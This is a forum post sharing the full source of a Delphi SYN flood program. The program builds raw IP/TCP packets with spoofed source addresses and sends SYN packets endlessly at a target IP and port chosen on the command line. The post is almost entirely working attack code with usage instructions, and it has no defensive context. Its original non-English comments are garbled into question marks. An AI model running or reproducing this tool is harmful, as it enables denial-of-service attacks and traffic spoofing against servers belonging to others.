Jump to content
Nytro

[Delphi] SYN Flood

Recommended Posts

Posted

[Delphi] SYN Flood

Author: carbon (cred)

program SynFlood;

{$APPTYPE CONSOLE}

uses Windows,
Winsock;
//WinSock2;

const
IP_HDRINCL = 2; // IP Header Include
Header_SEQ = $19026695;
SEQ = $28376839;
SYN_DEST_IP = '172.17.103.127'; //????IP
FAKE_IP = '10.168.150.1'; //??IP???????????IP????B???

//TCP? 20?
type
TCP_HEADER = record
th_sport : Word; //16????
th_dport : Word; //16?????
th_seq : DWORD; //32????
th_ack : DWORD; //32????
th_lenres : Byte; //4?????+6??????4?
th_flag : Byte; //2????+6???? 2?SYN?1?FIN?16?ACK??
th_win : Word; //16?????
th_sum : Word; //16????
th_urp : Word; //16????????
end;

// IP ? 20?
type
IP_HEADER = record
h_verlen : Byte; //4?????+4?IP???
tos : Byte; //8?????TOS??????????????????????????
total_len : Word; //16???????? IP????????????????20???
ident : Word; //16?IP?????????????????????
frag_and_flags : Word; //Fragment Offset 13 IP??????
ttl : Byte; //8?????TTL???????????????
proto : Byte;//8????(TCP, UDP ???) ???ICMP?1?IGMP?2?TCP?6?UDP?17?
checksum : Word; //16?IP?????
sourceIP : LongWord; //32??IP??
destIP : LongWord; //32???IP??
end;

//TCP?? 12?
type
PSD_HEADER = record
saddr : DWORD; //???
daddr : DWORD; //????
mbz : Byte; //??
ptcl : Byte; //????
tcpl : WORD; //TCP??
end;

type
CLIENTPARA = record
Port:integer;
IP:string;
end;

var
clientpa :^CLIENTPARA;
SendSEQ :Integer = 0;
TimeOut :Integer =5000;

function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g,
dwFlags: dword): integer;stdcall;external 'ws2_32.dll';

function setsockopt( const s: TSocket; const level, optname: Integer; optval: PChar;
const optlen: Integer ): Integer; stdcall;external 'ws2_32.dll';

function IntToStr(I: integer): string;
begin
Str(I, Result);
end;

function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;

function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

{
CheckSum:?????????
IP?????????????IP??????????0?IP_HEADER.checksum=0?,
??????IP????????????????
TCP??????IP????????????????????????????
??TCP??????????????????????TCP???????
???TCP??????????????TCP???????
}
function checksum(var Buffer; Size: integer): word;
type
TWordArray = array[0..1] of word;
var
lSumm: LongWord;
iLoop: integer;
begin
lSumm := 0;
iLoop := 0;
while Size > 1 do
begin
lSumm := lSumm + TWordArray(Buffer)[iLoop];
inc(iLoop);
Size := Size - SizeOf(word);
end;
if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
lSumm := (lSumm shr 16) + (lSumm and $FFFF);
lSumm := lSumm + (lSumm shr 16);
Result := word(not lSumm);
end;

//syn????
function SynFloodThreadProc(p:Pointer):LongInt;stdcall;
var
WSAData :TWSAData;
sock :TSocket;
Remote :TSockAddr;
ipHeader :IP_HEADER;
tcpHeader :TCP_HEADER;
psdHeader :PSD_HEADER;
ErrorCode,bOpt,counter,FakeIpNet,FakeIpHost,datasize :integer;
Buf :array [0..127] of char;
//FromIP :string;
begin
Result :=0;
//?????????
if WSAStartup(MAKEWORD(2,2), WSAData)<>0 then exit;
sock :=WSASocketA(AF_INET, SOCK_RAW, IPPROTO_RAW, nil, 0, {WSA_FLAG_OVERLAPPED}0);
if sock = INVALID_SOCKET then exit;
//??ip??
bOpt := 1;
//??IP_HDRINCL????????IP??????????
if setsockopt(sock,IPPROTO_IP, IP_HDRINCL,@bOpt, SizeOf(bOpt)) = SOCKET_ERROR then exit;

//??????
//ErrorCode :=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,pchar(TimeOut),sizeof(TimeOut));
//if ErrorCode = SOCKET_ERROR then exit;

Randomize;
FillChar(Remote,sizeof(Remote),#0);
Remote.sin_family :=AF_INET;
//Remote.sin_addr.s_addr:=inet_addr(SYN_DEST_IP);
Remote.sin_addr.S_addr :=inet_addr(pchar(CLIENTPARA(p^).IP));
Remote.sin_port :=htons(CLIENTPARA(p^).Port);
FakeIpNet:=inet_addr(FAKE_IP);
FakeIpHost:=ntohl(FakeIpNet);

//??IP??
ipHeader.h_verlen :=(4 shl 4) or (sizeof(ipHeader) div sizeof(LongWord)); //???IP???????????
ipHeader.total_len :=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //16????????
ipHeader.ident:=1; //16???
ipHeader.tos :=0; //IP????
ipHeader.frag_and_flags:=0; //????
ipHeader.ttl:=128; //8?????TTL
ipHeader.proto:=IPPROTO_TCP; //8???(TCP,UDP…) UDP=17 $11
ipHeader.checksum:=0; //16?IP?????
ipHeader.sourceIP:=htonl(FakeIpHost+SendSEQ); //32??IP??
//ipHeader.destIP:=inet_addr(pchar(SYN_DEST_IP)); //32???IP??
ipHeader.destIP:=inet_addr(pchar(CLIENTPARA(p^).IP));

//???????
{FromIP:=IntToStr(Random(254)+1)+'.'+ IntToStr(Random(254)+1)+'.'+
IntToStr(Random(254)+1)+'.'+Inttostr(Random(254)+1);
ipHeader.sourceIP:=inet_Addr(PChar(FromIP)); //32??IP??
ipHeader.destIP:=Remote.sin_addr.S_addr; //32???IP?? }

//??TCP??
tcpHeader.th_sport:=htons(Random(65536)+1); //???????
tcpHeader.th_dport:=Remote.sin_port; //?????
//tcpHeader.th_sport:=htons(7000); //????
//tcpHeader.th_dport:=htons(8080); //?????
tcpHeader.th_seq:=htonl(SEQ+SendSEQ); //SYN???
tcpHeader.th_ack:=0; //ACK?????0
tcpHeader.th_lenres:=(sizeof(tcpHeader) shr 2 shl 4) or 0; //TCP??????
tcpHeader.th_flag:=2; //???????????2?SYN?1?FIN?16?ACK??
tcpHeader.th_win:=htons(16384); //????
tcpHeader.th_urp:=0; //?????
tcpHeader.th_sum:=0; //???

//??TCP???????????????????
psdHeader.saddr:=ipHeader.sourceIP; //???
psdHeader.daddr:=ipHeader.destIP; //????
psdHeader.mbz:=0;
psdHeader.ptcl:=IPPROTO_TCP; //????
psdHeader.tcpl:=htons(sizeof(tcpHeader)); //TCP????

while true do
begin
//???10,240??????????
//writeln('.');
for counter:=0 to 10239 do
begin
inc(SendSEQ);
if (SendSEQ=65536) then SendSEQ :=1; //?????
//??IP??
ipHeader.checksum :=0; //16?IP?????
ipHeader.sourceIP :=htonl(FakeIpHost+SendSEQ); //32??IP??
//??TCP??
tcpHeader.th_seq :=htonl(SEQ+SendSEQ); //SYN???
tcpHeader.th_sum :=0; //???
//??TCP???
psdHeader.saddr :=ipHeader.sourceIP;

//??TCP??????????????TCP???
FillChar(Buf,SizeOf(Buf),#0);
//??????????????Buf????TCP????
CopyMemory(@Buf[0],@psdHeader,SizeOf(psdHeader)); //12
CopyMemory(@Buf[SizeOf(psdHeader)],@tcpHeader,SizeOf(tcpHeader)); //20
TCPHeader.th_sum:=checksum(Buf,SizeOf(psdHeader)+SizeOf(tcpHeader)); //32

//??IP????
CopyMemory(@Buf[0],@ipHeader,SizeOf(ipHeader)); //20
CopyMemory(@Buf[SizeOf(ipHeader)],@tcpHeader,SizeOf(tcpHeader)); //20
FillChar(Buf[SizeOf(ipHeader)+SizeOf(tcpHeader)],4,#0);
datasize :=SizeOf(ipHeader)+SizeOf(tcpHeader);
ipHeader.checksum:=checksum(Buf,datasize); //40

//???????
CopyMemory(@Buf[0],@ipHeader,SizeOf(ipHeader)); //20

//??TCP??
ErrorCode:=sendto(sock, buf, datasize, 0, Remote, sizeof(Remote));
if ErrorCode=SOCKET_ERROR then exit;
write('.');

end; //end for
writeln('');
end; //end while

closesocket(sock);
WSACleanup();
end;

procedure Usage;
begin
WriteLn('SynFlood 0.1 for 2000/XP/2003');
WriteLn('http://www.wrsky.com');
WriteLn('hnxyy@hotmail.com');
WriteLn('QQ:19026695');
WriteLn;
WriteLn('Usage: SynFlood -h:IP -p:port');
end;

procedure ParseOption(Cmd, Arg: string);
begin
if arg='' then
begin
Usage;
Halt(0);
end;
if lstrcmp('-h:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.IP :=arg;
end
else if lstrcmp('-p:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.Port :=StrToInt(Arg);
end
else
begin
Usage;
Halt(0);
end;
end;

procedure ProcessCommandLine;
var
CmdLn: integer;
begin
CmdLn := 1;
if (ParamCount<2) or (ParamCount>2) then
begin
Usage;
Halt(0);
end;
new(clientpa);
while Length(ParamStr(CmdLn)) <> 0 do
begin
ParseOption(Copy(ParamStr(CmdLn), 1, 3), Copy(ParamStr(CmdLn), 4, Length(ParamStr(CmdLn)) - 2));
Inc(CmdLn);
end;
end;

var
ThreadID:DWord;
begin
ProcessCommandLine;
CreateThread(nil, 0, @SynFloodThreadProc, clientpa, 0, ThreadID);
while True do Sleep(1);
end.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...